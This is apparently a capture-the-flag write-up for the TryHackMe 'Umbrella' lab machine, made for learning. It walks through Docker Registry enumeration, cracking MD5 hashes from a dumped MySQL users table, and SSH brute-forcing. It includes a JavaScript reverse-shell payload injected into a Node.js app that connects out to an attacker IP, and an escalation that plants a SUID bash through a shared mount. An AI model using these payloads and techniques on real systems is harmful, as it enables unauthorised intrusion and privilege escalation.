TryHackMe: Umbrella

Umbrella from TryHackMe is a Linux machine with multiple misconfigurations. To get a foothold, we need to perform enumeration on the Docker Registry and obtain credentials for the MySQL database. By accessing the DB, we can get usernames and passwords for multiple users to log in to a webpage and connect to SSH. To get root access we will abuse a mounted directory in a Docker container which is also accessible by a low-privileged user.

NMAP

We will begin with NMAP to find the open ports on the machine. Our NMAP scan shows the following ports are open:

  • 22 SSH
  • 3306 MySQL
  • 5000 Docker Registry
  • 8080 HTTP
┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Umbrella]
└─$ nmap -p22,3306,5000,8080 10.10.166.146 -A -oN nmap/umbrella-full
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-20 14:49 CST
Nmap scan report for 10.10.166.146
Host is up (0.20s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 f0:14:2f:d6:f6:76:8c:58:9a:8e:84:6a:b1:fb:b9:9f (RSA)
|   256 8a:52:f1:d6:ea:6d:18:b2:6f:26:ca:89:87:c9:49:6d (ECDSA)
|_  256 4b:0d:62:2a:79:5c:a0:7b:c4:f4:6c:76:3c:22:7f:f9 (ED25519)
3306/tcp open  mysql   MySQL 5.7.40
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.40
|   Thread ID: 7
|   Capabilities flags: 65535
|   Some Capabilities: SupportsCompression, Support41Auth, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, FoundRows, DontAllowDatabaseTableColumn, IgnoreSigpipes, SwitchToSSLAfterHandshake, InteractiveClient, LongColumnFlag, Speaks41ProtocolNew, LongPassword, ConnectWithDatabase, Speaks41ProtocolOld, SupportsTransactions, ODBCClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x02Ev}J1\x1E}#\x02!M\x0FC\EA1tb
|_  Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_5.7.40_Auto_Generated_Server_Certificate
| Not valid before: 2022-12-22T10:04:49
|_Not valid after:  2032-12-19T10:04:49
|_ssl-date: TLS randomness does not represent time
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
8080/tcp open  http    Node.js (Express middleware)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We do not have credentials for SSH, MySQL, or the web login on Port 8080. We will begin with enumerating port 5000 which is a default port for Docker Registry.

Hacktricks has a blog for pentesting Docker Registry and it helped to get a foothold on the machine.

Enumeration

Docker registry may be configured to use HTTP or HTTPS. So the first thing you may need to do is find which one is being configured:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

In this case, we did not get any errors which confirms that it is running HTTP and not HTTPS.

Authentication

The Docker registry may also be configured to require authentication:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

In our case, we do not require authentication.

DockerRegistryGrabber

We can run the tool to list all docker registries. We only have one

┌──(ishsome㉿kali)-[~/Tools/DockerRegistryGrabber]
└─$ python3 drg.py http://10.10.166.146 --list     
[+] umbrella/timetracking  

We can now dump the registry by running the below command:

┌──(ishsome㉿kali)-[~/Tools/DockerRegistryGrabber]
└─$ python3 drg.py http://10.10.166.146 --dump_all

The output will be a bunch of tar files informally called as “blobs”.

When you build a Docker image, each instruction in the Dockerfile creates a new layer. These layers are stored in a Docker image registry, such as Docker Hub. The term “blob” might be informally used to refer to these layers or the binary data associated with them.

We will need to extract these files in a separate folders so that they don’t get override

I tried going through all the files but couldn’t find anything useful. So I decided to move on with further enumeration.

Enumerating With cURL

Once you obtained access to the docker registry here are some commands you can use to enumerate it:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest

Carefully going through the output, we will see MySQL database credentials.

Using these credentials, we can connect to MySQL on the machine.

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Umbrella]
└─$ mysql -u root -h 10.10.166.146 -p  
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 5
Server version: 5.7.40 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

Enumerating the timetracking database, we see there is a users table that usually contains usernames and passwords for users who can log in to web portals.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| timetracking       |
+--------------------+
5 rows in set (0.206 sec)

MySQL [(none)]> use timetracking;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.200 sec)

Let’s dump the users table to find credentials.

MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+

After getting hashes, let’s crack them (Use CrackStation) and add them to a password.txt file. We will also create a users.txt file with all the usernames we found in the database.

Using CrackStation, we can get the passwords for all the hashes. We can create a users.txt file and add all the users found in the database and pass.txt files and add passwords to it.

SSH Brute-Force (Foothold)

Using Hydra, we can brute force SSH and see if any of the user credentials are valid for connecting to SSH.

We will get our users.txt flag from claire-r’s home directory

Privilege Escalation

I tried the following steps below did not reveal anything useful:

  • Checking SUDO permissions (User is not in the sudoers group)
  • No SUID binaries
  • Did not find any interesting files that could help in privilege or lateral escalation
  • Running linpeas did not reveal anything useful
  • PSPY did not show any cron jobs running that we can abuse to get root access

Port 8080

There is a login page here. From the pair of credentials we found, we can try logging in. We can log in with barry-b’s credentials. It looks like a user can update their time by entering a number or a mathematical expression in the input field.

SSTI

Every time we try SSTI payload {{7*7}}, the time for barry-b changes.

Although it seems like the app is vulnerable to SSTI, I was not able to get an RCE by trying various payloads

We can also see in the log files for the time-tracking app that our input was getting executed. Not sure if it was SSTI or just the mathematical expression 7*7 was getting executed. Anyway, we can move on to find another to escalate our privileges.

Root (In Docker)

From our NMAP scan, we know that the framework being used for this application is Node.js Express. We will try to get Remote Code Execution by trying out a JavaScript reverse shell. We can simply paste the below payload (change IP to your VPN or AttackBox IP and Port as needed)

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(4444, "10.13.1.112", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();

Fortunately for us, it worked! and we are the root user inside the Docker container.

Root (on the Box)

Going back to the SSH session, we can see that there is a mounted folder under the time-tracking application directory.

The same directory can be accessed from the container as the root user. We can use this to our advantage. Theoretically, if we create a file in the root’s /logs directory, it should appear in the logs under the time-Tracker-src folder in Claire-r’s home directory with root privileges on it. Let’s test it out!

Great! This seems to be working. Let’s continue and copy the /bin/bash binary, and add a SUID bit to it so that Claire-r can run it and become root.

We can execute the binary now and become root!

Conclusion

The initial foothold requires a lot of enumeration of the Docker registry and carefully parsing the data. The MD5 hashes were easy to crack and getting a foothold from here was easy. For Privilege Escalation, the key was to find the mounted folder since common privilege escalation scripts failed to find anything useful. Overall, something new to learn and share. If you liked this write-up, please feel free to leave a comment or let me know if you know another way to approach this box.